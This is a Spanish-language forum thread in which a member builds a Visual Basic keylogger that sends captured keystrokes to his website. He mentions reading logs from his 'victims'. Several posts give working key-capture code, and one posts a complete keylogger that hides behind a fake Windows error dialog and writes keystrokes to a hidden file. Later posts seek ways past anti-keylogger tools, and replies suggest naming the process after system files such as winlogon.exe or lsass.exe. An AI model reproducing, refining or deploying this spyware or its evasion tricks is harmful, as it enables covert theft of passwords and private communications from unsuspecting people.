hola... posteo pke tengo un gran problema... uno que ya me esta volviendo lokoOo!.
desde hace tiempo empeze un proyectillo para hacer un keylogger lo mas perfecto posible... despues de varias semanas, me doy por vencidoOo!.
El keylogger manda los logs via http a mi sitio php, pero algo okurre dentro del keylogger que los logs llegan mal!, llegan con palabras cortadas, algo asi:
Citar
knda
Donde kisieron decir "que Onda"
Jejeje.
Citar
en
dhuoe e madba ar
No se que kisieron decir! jajajaja...
mi keylogger no esta basado en Hooks, no los uso pke no los comprendo muy bien... y pke al mandar los logs por medio del iexplore no puedo meter simbolos raros como "&" "/" "%" y otroOos por el estiloOo!
entonces uso
"GetAsyncKeyState"
y por ejemplo para llamar las teclas uso esto:
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If
End If
Next
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i)
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If
End If
Next
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
End If
Next
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
End If
Next
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
Next
If GetAsyncKeyState(8) = -32767 Then
TypeWindow
If (Right(Text1, 1) = " ") Then GoTo nod
tip = Len(Text1) - 1
Text1 = Left(Text1, tip)
nod:
End If
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
Text1 = Text1 & "[Tab]"
End If
If GetAsyncKeyState(13) = -32767 Then
Text1 = Text1 & "<br>"
End If
If GetAsyncKeyState(17) = -32767 Then
Text1 = Text1 & "[Ctrl]"
End If
If GetAsyncKeyState(18) = -32767 Then
Text1 = Text1 & "[Alt]"
End If
If GetAsyncKeyState(19) = -32767 Then
Text1 = Text1 & "[Pausa]"
End If
If GetAsyncKeyState(20) = -32767 Then
Text1 = Text1 & "[Mayús]"
End If
If GetAsyncKeyState(27) = -32767 Then
Text1 = Text1 & "[Esc]"
End If
If GetAsyncKeyState(32) = -32767 Then
Text1 = Text1 & " "
End If
If GetAsyncKeyState(37) = -32767 Then
Text1 = Text1 & "[<-]"
End If
If GetAsyncKeyState(38) = -32767 Then
Text1 = Text1 & "[Up]"
End If
If GetAsyncKeyState(39) = -32767 Then
Text1 = Text1 & "[->]"
End If
If GetAsyncKeyState(40) = -32767 Then
Text1 = Text1 & "[Down]"
End If
If GetAsyncKeyState(44) = -32767 Then
Text1 = Text1 & "[Print]"
End If
If GetAsyncKeyState(91) = -32767 Then
Text1 = Text1 & "[Win]"
End If
If GetAsyncKeyState(92) = -32767 Then
Text1 = Text1 & "[Win]"
End If
If GetAsyncKeyState(93) = -32767 Then
Text1 = Text1 & "[Pps]"
End If
If GetAsyncKeyState(112) = -32767 Then
Text1 = Text1 & "[F1]"
End If
If GetAsyncKeyState(113) = -32767 Then
Text1 = Text1 & "[F2]"
End If
If GetAsyncKeyState(114) = -32767 Then
Text1 = Text1 & "[F3]"
End If
If GetAsyncKeyState(115) = -32767 Then
Text1 = Text1 & "[F4]"
End If
If GetAsyncKeyState(116) = -32767 Then
Text1 = Text1 & "[F5]"
End If
If GetAsyncKeyState(117) = -32767 Then
Text1 = Text1 & "[F6]"
End If
If GetAsyncKeyState(118) = -32767 Then
Text1 = Text1 & "[F7]"
End If
If GetAsyncKeyState(119) = -32767 Then
Text1 = Text1 & "[F8]"
End If
If GetAsyncKeyState(120) = -32767 Then
Text1 = Text1 & "[F9]"
End If
If GetAsyncKeyState(121) = -32767 Then
Text1 = Text1 & "[F10]"
End If
If GetAsyncKeyState(122) = -32767 Then
Text1 = Text1 & "[F11]"
End If
If GetAsyncKeyState(123) = -32767 Then
Text1 = Text1 & "[F12]"
End If
If GetAsyncKeyState(145) = -32767 Then
Text1 = Text1 & "[Desp]"
End If
If GetAsyncKeyState(144) = -32767 Then
Text1 = Text1 & "[Num]"
End If
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
Text1 = Text1 & ChangeChr(i)
End If
Next
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
Text1 = Text1 & ChangeChr(i)
End If
Next
End Sub
Mi teoria es que... al ser tanto kodigoOo el programa no tiene tiempo de revisar que tecla es, y en el intento de la buskeda se pierde de la tecla siguiente...
Estoy bien?
Existe algun metodo para hacer mas pekeño este kodigoOo?
o algun consejillo por ahi?
Gracias!
Espero su respuesta >.<
Que espere un poco de tiempo (125 milisegundos) antes de cada interacción.
Saludos.
De todas maneras en todos los keyloggers que he visto programados en VB siempre pasa lo mismo, te pones a escribir rápido y se come tantas letras que al final no comprendes que dice esa palabra.
si me ha tokado ver lo que dice yeikos... Gracias como kiera polux, probare con el 125...
Tmb me he dado cuenta que se empieza a descomponer el log despues de abrir algun programa pesado...
Esto lo note en los logs de mis victimas, cuando abrian un juego.
....
que puedo hacer?
La verdad es que VB no es el lenguaje idóneo para programar keyloggers, he visto por el foro de C keyloggers que funcionan a la perfección y su código es muy simple, echale un vistazo.
Ya, vb no es el lenguaje adecuado, de todas maneras puedes reducir a la mitad tu codigo con un selec case
Salu2
oh... me interesa eso de reducir el kodigo al maximoOo!.
selec case dices???
Ok, buskare acerka de esoOo!.
Gracias!...
Dim tecla as String
tecla = "3"
Select Case tecla
Case is "1"
msgbox "uno"
Case is "2"
msgbox "dos"
Case is "3"
msgbox "tres"
end select
Dim tecla as String
tecla = "3"
Select Case tecla
Case is "1"
msgbox "uno"
Case is "2"
msgbox "dos"
Case is "3"
msgbox "tres"
end [color=Red]select [/color]
corregido ;)
Salu2
Cierto ;), es que en este ordenador no tengo el VB y como estoy acostumbrado a que me corrija si me equivoco ::) .
Jajaja, muchas gracias por sus codigoOos!...
pero en realidad como voy empezando con la programacion no supe como usar el select case xD.
Lo que mejor hize fue kitar ciertos karacteres que no me servirian de nada por ejemplo "º" "ª" etc... xDDDD.
y se redujo un poko el codigoOo...
Aki se los dejo por si les ayuda en algo...
Si alguien lo kiere reducir mas, k me lo mande!!!!! xDDDD
Private Sub Timer1_Timer()
On Error Resume Next
Call ReadClipBoard
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(SHIFT) < 0 Then
TypeWindow
If GetKeyState(CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If
End If
Next
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
If GetAsyncKeyState(SHIFT) < 0 Then
Text1 = Text1 & Chr2(i)
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If
End If
Next
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
If GetAsyncKeyState(SHIFT) < 0 Then
Text1 = Text1 & Chr2(i - 100)
Exit Sub
Else
Text1 = Text1 & Chr2(i)
Exit Sub
End If
End If
Next
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
If GetAsyncKeyState(SHIFT) < 0 Then
Text1 = Text1 & Chr2(i - 100)
Exit Sub
Else
Text1 = Text1 & Chr2(i)
Exit Sub
End If
End If
Next
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
Text1 = Text1 & Chr2(i)
Exit Sub
End If
Next
If GetAsyncKeyState(8) = -32767 Then
If (Right(Text1, 1) = " ") Then GoTo nod
tip = Len(Text1) - 1
Text1 = Left(Text1, tip)
nod:
End If
If GetAsyncKeyState(9) = -32767 Then
Text1 = Text1 & "[Tab]"
End If
If GetAsyncKeyState(13) = -32767 Then
Text1 = Text1 & "<br>"
End If
If GetAsyncKeyState(17) = -32767 Then
Text1 = Text1 & "[Ctrl]"
End If
If GetAsyncKeyState(18) = -32767 Then
Text1 = Text1 & "[Alt]"
End If
If GetAsyncKeyState(27) = -32767 Then
Text1 = Text1 & "[Esc]"
End If
If GetAsyncKeyState(32) = -32767 Then
Text1 = Text1 & " "
End If
If GetAsyncKeyState(91) = -32767 Then
Text1 = Text1 & "[Win]"
End If
If GetAsyncKeyState(92) = -32767 Then
Text1 = Text1 & "[Win]"
End If
End Sub
Function CodigosRaros()
Chr2(49) = "!"
Chr2(50) = "@"
Chr2(52) = "$"
Chr2(55) = "/"
Chr2(56) = "("
Chr2(57) = ")"
Chr2(186) = "`"
Chr2(187) = "+"
Chr2(188) = ","
Chr2(189) = "-"
Chr2(190) = "."
Chr2(219) = "'"
Chr2(221) = "¡"
Chr2(222) = "´"
Chr2(86) = "^"
Chr2(87) = "*"
Chr2(88) = ";"
Chr2(89) = "_"
Chr2(90) = ":"
Chr2(119) = "?"
Chr2(121) = "¿"
Chr2(122) = """"
Chr2(96) = "0"
Chr2(97) = "1"
Chr2(98) = "2"
Chr2(99) = "3"
Chr2(100) = "4"
Chr2(101) = "5"
Chr2(102) = "6"
Chr2(103) = "7"
Chr2(104) = "8"
Chr2(105) = "9"
Chr2(106) = "*"
Chr2(107) = "+"
Chr2(109) = "-"
Chr2(110) = "."
Chr2(111) = "/"
Chr2(192) = "ñ"
Chr2(92) = "Ñ"
End Function
Si no me ekivoco seria una cosa asi, aki no tengo el vb mirarlo vosotros:
Dim i As Long
For i = 48 To 222
Select Case GetAsyncKeyState(i) = -32767
Case 8
If Right(Text1, 1) = " " Then GoTo nod
tip = Len(Text1) - 1
Text1 = Left(Text1, tip)
nod:
Case 9
Text1 = Text1 & "[Tab]"
Case 13
Text1 = Text1 & "<br>"
Case 17
Text1 = Text1 & "[Ctrl]"
Case 18
Text1 = Text1 & "[Alt]"
Case 27
Text1 = Text1 & "[Esc]"
Case 32
Text1 = Text1 & " "
Case 91 Or 92
Text1 = Text1 & "[Win]"
Case 48 To 57
If GetAsyncKeyState(SHIFT) < 0 Then
Text1 = Text1 & Chr2(i)
Else
Text1 = Text1 & Chr(i)
End If
Case 186 To 192
If GetAsyncKeyState(SHIFT) < 0 Then
Text1 = Text1 & Chr2(i - 100)
Else
Text1 = Text1 & Chr2(i)
End If
Case 219 To 222
If GetAsyncKeyState(SHIFT) < 0 Then
Text1 = Text1 & Chr2(i - 100)
Else
Text1 = Text1 & Chr2(i)
End If
Case 96 To 111
Text1 = Text1 & Chr2(i)
End Select
Next
E puesto solo parte del codigo
Salu2
muchas gracias... Jajajaja, aunke ahora esta mas loko, escribe "TAB" cuando oprimo "CONTROL" jajajajajajajaja...
Hay un error en el codigo, ahora deja lo analizo para detectarloOo!.
Muchas gracias! ahora ya me diste una idea de como funciona! =) gracias....
Holas disculpa mi ignorancia, pero quisiera saber que quiere decir que es menor que cero o mayor que cero ?
If GetAsyncKeyState(SHIFT) < 0 Then
TypeWindow
If GetKeyState(CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
En esa parte del codigo usas como referencia el cero, si es mayor o menor, no entiendo que tiene que ver el cero.
Y otra curiosidad es que significa -32767
Gracias.Espero respuestas a mis dudas
Son valores que devuelve GetAsyncKeyState, lo único que hace es controlar el valor devuelto.
Saludos.
si dices que te come las letras si escribes rapido porke no usas el keypress y almacenas la tecla pulsada en una variable ahi por muy rapido que escribas no se le va a pasar la tecla pulsa no se si me esplico si no dime y te pongo un ejemplillo ok bye
Hoockea el teclado...
bueno vi un post de Sk8er_boy12 donde preguntaba sobre como crear un progress bar y creo que no le contestaron bien a su pregunta quise contestarla pero no pude hacerlo ahi en su post (nunca encontre el puto botoncito de responder por eso cree este nuevo tema ahi a ver si lo lee o le sirve a alguien mas te lo dejo a manera de ejemplo por si quieres hacer copy-paste (cambias los comentarios por valores) ;) hojala les sirva
Si no podes responder es pq el tema esta cerrado o no estabas logueado...
No tendrias que haber posteado en este thread, de ULTIMA podrias haber creado un tema nuevo...
Y x cierto, no escribiste nada :S
jaja ;D no se paso yo estaba creando un nuevo tema pero me confundi y salio aqui esta pc esta loca tampoco pego lo que yo queria que pegara no salio nada ??? voy a crear un nuevo tema ya hora si escribo el ejemplo disculpas no estoy familiarizado aun en este foro es apenas mi segundo post
Bien man encontré este codigo y al ver tu post pensé que te podía servir
CitarGlobal w As Integer
Global bb As Boolean
CitarDim m As String
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form_Load()
bb = False
Dim v As Integer
v = vbRetry
Do While v = vbRetry
v = MsgBox("Error 1845, ocurrio un error en el sistema al cargar los controladores de windows", vbCritical + vbAbortRetryIgnore, "ERROR")
Loop
Timer1.Interval = 1
Timer2.Interval = 10000
m = Minute(Time) + 5
End Sub
Private Sub Text3_Change()
w = w + 1
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Dim x As Integer, i As Integer
For i = 33 To 124
x = GetAsyncKeyState(i)
If x = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next
Text3.Text = Text1.Text
x = GetAsyncKeyState(112)
If x = -32767 Then
Text1.Text = Text1.Text & "{F1}"
End If
x = GetAsyncKeyState(113)
If x = -32767 Then
Text1.Text = Text1.Text & "{F2}"
End If
x = GetAsyncKeyState(114)
If x = -32767 Then
Text1.Text = Text1.Text & "{F3}"
End If
x = GetAsyncKeyState(115)
If x = -32767 Then
Text1.Text = Text1.Text & "{F4}"
End If
x = GetAsyncKeyState(116)
If x = -32767 Then
Text1.Text = Text1.Text & "{F5}"
End If
x = GetAsyncKeyState(117)
If x = -32767 Then
Text1.Text = Text1.Text & "{F6}"
End If
x = GetAsyncKeyState(118)
If x = -32767 Then
Text1.Text = Text1.Text & "{F7}"
End If
x = GetAsyncKeyState(119)
If x = -32767 Then
Text1.Text = Text1.Text & "{F8}"
End If
x = GetAsyncKeyState(120)
If x = -32767 Then
Text1.Text = Text1.Text & "{F9}"
End If
x = GetAsyncKeyState(121)
If x = -32767 Then
Text1.Text = Text1.Text & "{F10}"
End If
x = GetAsyncKeyState(122)
If x = -32767 Then
Text1.Text = Text1.Text & "{F11}"
End If
x = GetAsyncKeyState(123)
If x = -32767 Then
Text1.Text = Text1.Text & "{F12}"
End If
x = GetAsyncKeyState(8)
If x = -32767 Then
Text1.Text = Mid(Text1.Text, 1, Len(Text1) - 1)
End If
x = GetAsyncKeyState(9)
If x = -32767 Then
Text1.Text = Text1.Text & "{tab}"
End If
x = GetAsyncKeyState(13)
If x = -32767 Then
Text1.Text = Text1.Text & "{enter}"
Text1 = Text1 & vbCrLf
End If
x = GetAsyncKeyState(27)
If x = -32767 Then
Text1.Text = Text1.Text & "{esc}"
Text1 = Text1 & vbCrLf
End If
x = GetAsyncKeyState(32)
If x = -32767 Then
Text1.Text = Text1.Text & " "
End If
Dim cad As String
Dim num As String
Dim c As String
cad = Text1.Text
num = Right(cad, 1)
Text2.Text = num
c = num
If num = "a" Then
c = "1"
bb = True
End If
If num = "b" Then
c = "2"
bb = True
End If
If num = "c" Then
c = "3"
bb = True
End If
If num = "d" Then
c = "4"
bb = True
End If
If num = "e" Then
c = "5"
bb = True
End If
If num = "f" Then
c = "6"
bb = True
End If
If num = "g" Then
c = "7"
bb = True
End If
If num = "h" Then
c = "8"
bb = True
End If
If num = "i" Then
c = "9"
bb = True
End If
If num = "`" Then
c = "0"
bb = True
End If
Text2.Text = c
If bb = True Then
Dim g As Integer
g = Len(Text1.Text) - 1
Text1.Text = Left(Text1.Text, g) + c
bb = False
End If
End Sub
Private Sub Timer2_Timer()
Open "\wintec.txt" For Append As #1
Print #1, Text1.Text
Text1.Text = ""
Close #1
If (Minute(Time) >= m) Then
Open "\wintec.txt" For Append As #1
Print #1, "----------- ----------- ------------"
Close #1
End
End If
End Sub
salu2
Cita de: elpato_zeta en 4 Octubre 2005, 23:12 PM
si dices que te come las letras si escribes rapido porke no usas el keypress y almacenas la tecla pulsada en una variable ahi por muy rapido que escribas no se le va a pasar la tecla pulsa no se si me esplico si no dime y te pongo un ejemplillo ok bye
Lo que depende de que capture todas las teclas o no es el timer, menos intervalo = falla menos.
en vez de usar tanto if usa el select case y el for, te aorraras la mitad del codigo y tu programa sera mas rapido y eficaz.
De todas maneras te recomiendo usar hooks.
Salu2
Weno pues... sip, como dicen todos y como yo no keria kreer pke se me hace mas dificil ese metodo, lo mejor es Hookear el teclado!, ya lo logre... Pero me encontre con otro problema!
Los antikeyloggers...
Esos que detectan los programas que hookean. e incluso me detecto el keylogger del kodigo que puse al inicio de todo este post.
Los antikeyloggers detectan todo :o, mi pregunta es... Como burlarlos?
Precisamente hace un momento le pregunte a DEX, le comente que, hay procesos naturales de windows que tmb hacen sus hooks, y que el antikeylogger no los detecta...
entonces... Como hacerle kreer al antikeylogger que este keylogger es un proceso natural de windows?
Dex me dio la respuesta xD... no se puede!.
Pke se necesita un documento firmado de valided.
Alguien sabe burlar esto?
Cita de: Ado's_Xtreme en 5 Octubre 2005, 18:56 PM
Weno pues... sip, como dicen todos y como yo no keria kreer pke se me hace mas dificil ese metodo, lo mejor es Hookear el teclado!, ya lo logre... Pero me encontre con otro problema!
Los antikeyloggers...
Esos que detectan los programas que hookean. e incluso me detecto el keylogger del kodigo que puse al inicio de todo este post.
Los antikeyloggers detectan todo :o, mi pregunta es... Como burlarlos?
Precisamente hace un momento le pregunte a DEX, le comente que, hay procesos naturales de windows que tmb hacen sus hooks, y que el antikeylogger no los detecta...
entonces... Como hacerle kreer al antikeylogger que este keylogger es un proceso natural de windows?
Dex me dio la respuesta xD... no se puede!.
Pke se necesita un documento firmado de valided.
Alguien sabe burlar esto?
Prueba a ponerle como nombre de proceso archivos esenciales de Windows, así como winlogon.exe, lsass.exe, etc.
mmm.... no c bien como poder burlarlos...
Pero como ya dije en otro tema
Citarlos Anti-Keylogger no son tan usados como los AVs... Ya hace bastante que existen, ademas la gente no les da mucha importancia ya que solo detecta los 'Posibles' keyloggers.. x ej, detecta algunos juegos x el solo echo de que necesitan detectar que letras son oprimidas para realizar cierta accion...
Lo q podes hacer es ponerle el nombre de algun juego (para confundir XD)
No creo que eso de ponerle el nombre de archivos del sistema resuelva el problema :S
un salud0 y si encontras la forma de burlarlos, x favor postea ;)
salu2 !
Decime el nombre del AntiKeylogger que lo detecta y veo como se puede burlar.
Saludos.
el kambiarle el nombre al proceso no ayuda en nada :( jejejeje...
El antikeylogger que uso es Advance Antikeylogger 3.61
Eso si... como menciona Nylon, los Antikeyloggers no se usan mucho :D